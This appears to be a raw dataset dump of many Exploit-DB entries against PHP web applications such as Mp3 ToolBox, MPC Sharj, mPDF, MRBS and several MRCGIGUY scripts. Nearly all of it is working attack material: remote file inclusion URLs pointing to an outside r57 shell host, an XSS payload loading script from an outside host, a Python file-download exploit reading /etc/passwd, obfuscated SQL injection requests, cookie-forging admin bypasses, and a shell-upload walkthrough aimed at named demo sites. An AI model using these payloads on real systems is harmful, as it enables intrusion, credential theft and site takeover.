deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4650
Description: Mp3 ToolBox 1.0 Beta 5 - 'skin_file' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-11-23
Author: Crackers_Child

Exploit:
+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       Mp3 ToolBox 1.0 beta 5
*    [~] Download.....:       http://www.radiotoolbox.com/downloads/mp3toolbox/mp3_toolbox_beta-5.zip
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       intitle:Mp3 ToolBox 1.0
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*     
*
*       [~] Exploit Rfi...:     http://[Taget]/[Path]/index.php?skin_file=http://sibersavascilar.com/shelz/r57.txt?
*
*                             
+_______________________________________________________________________________________________________________________+



        [~] Vulnerable......:   include($skin_file);
                      



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :)
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-11-23]
Exploit-DB #2666
Description: mp3SDS 3.0 - '/Core/core.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-28
Author: Mehmet Ince

Exploit:
Script: MP3 Streaming DownSampler for PHP v3.0 (fullpath) Remote File Include Exploit
Version: 3.0
Script Download: http://damac.us/Projects/mp3SDS/archive/mp3SDS-3.0.tgz
Code: require_once("$fullpath/Core/FormatName.fnc.php");
Exploit: Core/core.inc.php?fullpath=evilscripts?
Found: Cyber-Security
Thanx: DJR, xoron, K@OS, trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide

# milw0rm.com [2006-10-28]
Exploit-DB #48433
Description: MPC Sharj 3.11.1 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2020-05-06
Author: SajjadBnd

Exploit:
# Exploit title : MPC Sharj 3.11.1 - Arbitrary File Download
# Exploit Author : SajjadBnd
# Date : 2020-05-02
# Software Link : http://dl.nuller.ir/mpc-sharj-vr_3.11.1_beta[www.nuller.ir].zip
# Tested on : Ubuntu 19.10
# Version : 3.11.1 Beta
############################
#
# [ DESCRIPTION ]
#
# MPC Sharj is a free open source script for creating sim card credit card's shop.
#
# [POC]
#
# Vulnerable file: download.php
# parameter : GET/ "id"
# 69: readfile readfile($file);
# 55: $file = urldecode(base64_decode(strrev($file)));
# 53: $file = trim(strip_tags($_GET['id']));
#
# payload : [
# Steps:
#
# 1. convert your payload (/etc/passwd) to base64 (L2V0Yy9wYXNzd2Q=)
# 2. convert base64 result (L2V0Yy9wYXNzd2Q=) to strrev (=Q2dzNXYw9yY0V2L)
# 3. your payload is ready ;D
# http://localhost/download.php?id==Q2dzNXYw9yY0V2L
#
#]
#

import requests
import os
from base64 import b64encode

def clear():
linux = 'clear'
windows = 'cls'
os.system([linux, windows][os.name == 'nt'])

def banner():
print '''
##############################################################
##############################################################
#### # ######### # #### ######### #####
#### ### ###### ## #### ###### #### ############# #####
#### #### #### ### #### ###### #### ###################
#### ##### ## #### #### ####### ###################
#### ###### ##### #### ############ ###################
#### ############### #### ############ ############# #####
#### ############### #### ##666######### ######
##############################################################
##############################################################
###### MPC Sharj 3.11.1 Beta - Arbitrary File Download #####
##############################################################
'''

def exploit():
target = raw_input('[+] Target(http://example.com) => ')
read_file = raw_input('[+] File to Read => ')
read_file = b64encode(read_file)
target = target+"/download.php?id"+read_file[::-1]
r = requests.get(target,timeout=500)
print "\n"+r.text

if __name__ == '__main__':
clear()
banner()
exploit()
Exploit-DB #28032
Description: MPCS 0.2 - 'comment.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-06
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18470/info

MPCS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/comment.php?pageid=12 <script src=http://www.youfucktard.com/xss.js></script>
Exploit-DB #2653
Description: MPCS 1.0 - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-26
Author: v1per-haCker

Exploit:
#==================================================================
#  Multi-Page Comment System (RFI)
#==================================================================
# Info:-
#
# Scripts:  Multi-Page Comment System (MPCS)
# Home: http://tpvgames.co.uk/web/mpcs/
# Download: http://myweb.tiscali.co.uk/williamshost/mpcs.zip
# Version : 1.0.0
# Dork & vuln : download scripts and think :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/include.php?path=http://EvElCoDe.txt?
#http://localhost/path/functions.php?path=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#XP10_hackEr Team
#Greetz to : abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#               ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#           metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero
#And all members in XP10_hackEr Team
#Thanx to str0ke :)
#WWW.XP10.COM
#
#==================================================================

# milw0rm.com [2006-10-26]
Exploit-DB #50995
Description: mPDF 7.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2022-08-01
Author: Musyoka Ian

Exploit:
# Exploit Title: mPDF 7.0 - Local File Inclusion
# Google Dork: N/A
# Date: 2022-07-23
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://mpdf.github.io/
# Software Link: https://mpdf.github.io/
# Version: CuteNews
# Tested on: Ubuntu 20.04, mPDF 7.0.x
# CVE: N/A

#!/usr/bin/env python3

from urllib.parse import quote
from cmd import Cmd
from base64 import b64encode

class Terminal(Cmd):
    prompt = "\nFile >> "
    def default(self, args):
        payload_gen(args)
def banner():
    banner = """                          _____  _____  ______   ______ ___  __   __                  _       _ _   
                         |  __ \|  __ \|  ____| |____  / _ \ \ \ / /                 | |     (_) |  
               _ __ ___  | |__) | |  | | |__        / / | | | \ V /    _____  ___ __ | | ___  _| |_ 
               | '_ ` _ \|  ___/| |  | |  __|      / /| | | |  > <    / _ \ \/ / '_ \| |/ _ \| | __|
               | | | | | | |    | |__| | |        / / | |_| | / . \  |  __/>  <| |_) | | (_) | | |_ 
               |_| |_| |_|_|    |_____/|_|       /_/ (_)___(_)_/ \_\  \___/_/\_\ .__/|_|\___/|_|\__|
                                                                               | |                  
                                                                               |_|   """
    print(banner)
def payload_gen(fname):
    payload = f'<annotation file="{fname}" content="{fname}" icon="Graph" title="Attached File: {fname}" pos-x="195" />'
    encoded_payload = quote(payload)
    print("[+] Replace the content with the payload below")

    print(f"Url encoded payload:\n{encoded_payload}\n")
    base64enc = b64encode(encoded_payload.encode())
    print(f"Base64 encoded payload:\n{base64enc.decode()}\n")
if __name__ == ("__main__"):
    banner()
    print("Enter Filename eg. /etc/passwd")
    terminal= Terminal()
    terminal.cmdloop()
Exploit-DB #3503
Description: MPM Chat 2.5 - 'view.php?logi' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-03-17
Author: GoLd_M

Exploit:
# MPM Chat 2.5 (view.php logi) Local File Include Exploit
# D.Script: http://mpm.pahviloota.net/mpm_chat_25.zip
# Discovered by: GloD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code
<?php
if ($logi != '') {
include 'archive/' . $logi;
#Exploit: /[path]/view.php?logi=../../../../../etc/passwd

# milw0rm.com [2007-03-17]
Exploit-DB #23208
Description: mpnews pro 2.1.0.18 - Directory Traversal Information Disclosure
Type: webapps
Platform: php
Date: 2003-10-01
Author: Gama Sec

Exploit:
source: https://www.securityfocus.com/bid/8744/info

It has been reported that MPNews PRO is prone to an information disclosure vulnerability. The problem is believed to occur due to MPNews PRO failing to sufficiently filter specific dot-dot-slash sequences (../). As a result, an attacker may be capable of viewing the contents of files located outside of the established web root. 

http://www.example.org/./.././../mpnews.ini
Exploit-DB #45692
Description: MPS Box 0.1.8.0 - 'uuid' SQL Injection
Type: webapps
Platform: php
Date: 2018-10-25
Author: Ihsan Sencan

Exploit:
# Exploit Title: MPS Box 0.1.8.0 - 'uuid' SQL Injection
# Dork: N/A
# Date: 2018-10-25
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.mpsbox.com/
# Software Link: https://sourceforge.net/projects/mpsbox/files/latest/download
# Version: 0.1.8.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/inc/popup.qrcode.inc.php?uuid=[SQL]

# [PATH]/inc/popup.qrcode.inc.php
# 
# 24 include_once("dbfunctions.inc.php");
# 25 
# 26 $uuid = $_GET["uuid"];
# 27 
# 28 $db = pdo_connect();
# 29 
# 30 $dev_data_sql = $db->query("SELECT ref_name,ip_add,model_name,serial_num FROM USR_DEVICES where uuid IN ($uuid)");
# 31 $row_count = $dev_data_sql->rowCount();
# 32 
# 33 ?>
 
GET /[PATH]/inc/popup.qrcode.inc.php?uuid=1)+UniON+sELect+0x496873616e2053656e63616e%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c0x496873616e2053656e63616e%2c0x496873616e2053656e63616e--+- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Thu, 25 Oct 2018 13:19:47 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=8m9cbclampf4u5n4ketdi2q997; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Exploit-DB #30921
Description: MRBS 1.2.x - 'view_entry.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-21
Author: root@hanicker.it

Exploit:
source: https://www.securityfocus.com/bid/26977/info

MRBS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue was previously documented as a vulnerability in Moodle. Further reports indicate this issue affects MRBS, and the MRBS module for Moodle. 

http://www.example.com/PATH/moodle/ing/blocks/mrbs/code/web/view_entry.php?id=2000%20UNION%20SELECT%20username,id,id,id,id,id,id,id,id,id,id,id%20FROM%20mdl_user%20WHERE%20id=[ID]&day=27&month=10&year=2007
Exploit-DB #8685
Description: MRCGIGUY Amazon Directory 1.0/2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
Amazon Directory Version 1.0/2.0 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.mrcgiguy.com
Script:Amazon Directory Version 1.0/2.0
Download:http://www.mrcgiguy.com/amazon_directory.html
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="amazonadmin=logged%20in;path=/";
----------------------------------------------------------------
Dem0
----
http://www.myhotlinks.net/cgi-bin/amazon2/admin.cgi
--------------------------------------

Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-14]
Exploit-DB #8682
Description: MRCGIGUY ClickBank Directory 1.0.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
ClickBank Directory Version 1.0.1 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.mrcgiguy.com
Script:ClickBank Directory Version 1.0.1
Download:http://www.mrcgiguy.com/clickbank_directory.html
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="clickbank=Logged+In;path=/";
----------------------------------------------------------------
Dem0
----
http://www.mrcgiguy.com/clickbank/admin.php
--------------------------------------

Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-14]
Exploit-DB #8926
Description: mrcgiguy freeticket - Cookie Handling / SQL Injection
Type: webapps
Platform: php
Date: 2009-06-10
Author: ThE g0bL!N

Exploit:
MRCGIGUY FreeTicket Multiple Remote Vulnerabilities
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Download: http://www.mrcgiguy.com/cgi-bin/freedown.cgi?id=1
Vendor:http://www.mrcgiguy.com
Special Thx:  Snakespc His0k4
Note: Algerie 3-1 Egypt
Exploit:
------
Cookies insecure
----------------
File:
----
admin.php
Code:
---
if (($checkid == $adminuser) && ($checkpass == $adminpass)) {$opid = $adminuser;} => First
 if ($opid) {
  setcookie("freeticket_cookie", "$opid", time()+86400); => Second
  header("location: $baseurl");
  exit;
  Exploit:
  -------
  javascript:document.cookie="freeticket_cookie=[admin_name];path=/freeticket/";
  
 2) SQL Injection: (out of cookies)
    --------------
    admin.php?action=viewticket&id=[sql code ]
   
    [sql code]=156+union+select+1,concat(user(),0x3a,database(),0x3a,version()),3,4,5,6,7,8,9,10--
    Demo:
    ----
    http://www.mrcgiguy.com/freeticket/admin.php

# milw0rm.com [2009-06-10]
Exploit-DB #8918
Description: MRCGIGUY Hot Links - 'report.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-09
Author: ThE g0bL!N

Exploit:
MRCGIGUY Hot Links SQL (PHP) (report.php id) Remote SQL Injection
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://www.mrcgiguy.com
Special Thx:  All Muslims All Members Of Team Algerien Of FootBall
Note: Algerie 3-1 Egypt
Exploit:
------
SQL INJECTION:
-------------
http://wwww.victim.com/report.php?id=[SQL CODE]
[ SQL CODE]=17281+union+select+concat(version(),0x3a,database(),0x3a,user()),2,3--
Demo:
----
http://www.myhotlinks.net/hlphpsql/report.php?id=17281+union+select+concat(version(),0x3a,database(),0x3a,user()),2,3--

# milw0rm.com [2009-06-09]
Exploit-DB #8684
Description: MRCGIGUY Hot Links SQL 3.2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
Hot Links SQL / Hot Links SQL-PHP Version 3.2.0 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.mrcgiguy.com
Script:Hot Links SQL / Hot Links SQL-PHP Version 3.2.0
Download:http://www.mrcgiguy.com/hot_links_sql.html
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="admin=logged%20in;path=/";
----------------------------------------------------------------
Dem0
----
http://www.myhotlinks.net/cgi-bin/sql32/admin.cgi
--------------------------------------

Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-14]
Exploit-DB #8686
Description: MRCGIGUY Message Box 1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
Message Box Version 1.0 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.mrcgiguy.com
Script:Message Box Version 1.0
Download:http://www.mrcgiguy.com/message_box.html
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="mbadmin=logged%20in;path=/";
----------------------------------------------------------------
Dem0
----
http://www.mrcgiguy.com/cgi-bin/messagebox/admin.cgi
--------------------------------------

Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-14]
Exploit-DB #8692
Description: MRCGIGUY SimpLISTic SQL 2.0.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: ThE g0bL!N

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
MRCGIGUY SimpLISTic SQL 2.0.0 Insecure Cookie Handling
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:http://www.mrcgiguy.com
MRCGIGUY SimpLISTic SQL 2.0.0
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="amazonadmin=logged in;path=/";
----------------------------------------------------------------
Dem0
----
http://www.myhotlinks.net/cgi-bin/simp2/admin.cgi
--------------------------------------
Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-14]
Exploit-DB #8687
Description: MRCGIGUY The Ticket System 2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: TiGeR-Dz

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
The Ticket System / The Ticket System PHP Version 2.0 Insecure Cookie Handling Vulnerability
---------------------------------------------------------------
Founder : TiGeR-Dz
Home:http://www.mrcgiguy.com
Script:The Ticket System / The Ticket System PHP Version 2.0
Download:http://www.mrcgiguy.com/the_ticket_system.html
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="ttc_admin=1%7Cadmin;path=/";
----------------------------------------------------------------
Dem0
----
http://www.mrcgiguy.com/cgi-bin/tts-demo/admin.cgi
--------------------------------------

Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-14]
Exploit-DB #8917
Description: mrcgiguy the ticket system 2.0 PHP - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-09
Author: ThE g0bL!N

Exploit:
MRCGIGUY The Ticket System 2.0 PHP(id) Multiple Remote Vulnerabilities
Founder: ThE g0bL!N
------
Home: http:/www.4ckx.com/dz/
----
Vendor:http://www.mrcgiguy.com
Special Thx:  All Muslims All Members Of Team Algerien Of FootBall
Note: Algerie 3-1 Egypt
Exploit:
------
SQL INJECTION:
-------------
http://wwww.victim.com/admin.php?action=viewticket&id=[ SQL CODE]
[ SQL CODE]=498+union+select+1,version(),3,4,user(),6,database(),8,9,10,11,12--
Demo:
----
http://www.mrcgiguy.com/tts/admin.php?action=viewticket&id=498+union+select+1,version(),3,4,user(),6,database(),8,9,10,11,12--
Note : The exploit Worked out of enter The Right information of admin :)
2) Config Information Disclousr: (out of cookies)
--------------------------------------------------
go to url:
---------
http://victim/tts/admin.php?action=editconfig
Admin Change Password:
*--------------------
http://victim.com/path/admin.php?action=editop&id=1

# milw0rm.com [2009-06-09]
Exploit-DB #9086
Description: MRCGIGUY Thumbnail Gallery Post 1b - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-07-09
Author: ThE g0bL!N

Exploit:
#################################################################################################################
[+] MRCGIGUY Thumbnail Gallery Post 1b Remote File Upload Vuln
[+] Discovered By ThE g0bL!N
[+] Vendor:http://www.mrcgiguy.com/
[+} Download:http://www.mrcgiguy.com/cgi-bin/freedown.cgi?id=6
[+] Greets : SarBoT511 -Sub-ZeRo
[+] Note: It is a Sex Site Thanx God For This Bug :)
#################################################################################################################
Exploit:
-------
  1)Go To add Your Picture http://www.site.com/path/submit.cgi
  2) Upload Your Shell.php
  3) Image Properties And The link Of shell :)
 Exapmle:
 -------
 http://site.com/upload/68456_shell1.php
 Demo:
 ----
http://www.myhotlinks.net/cgi-bin/tgp/submit.cgi
 
 Hack it please :d
################################################################################################################

# milw0rm.com [2009-07-09]
Exploit-DB #8694
Description: MRCGIGUY Top Sites 1.0.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2009-05-14
Author: ThE g0bL!N

Exploit:
---------------------------------------------------------------
---------------------------------------------------------------
MRCGIGUY Top Sites1.0.0 Insecure Cookie Handling
---------------------------------------------------------------
Founder :ThE g0bL!N
Home:http://www.mrcgiguy.com
MRCGIGUY Top Sites1.0.0
---------------------------------------------------------------
Exploit
-------
javascript:document.cookie="clickbank=Logged+In;path=/";
----------------------------------------------------------------
Dem0
----
http://www.mrcgiguy.com/cgi-bin/topsites/admin.cgi
--------------------------------------
Greeting To ALL My Friends (Dz)

# milw0rm.com [2009-05-14]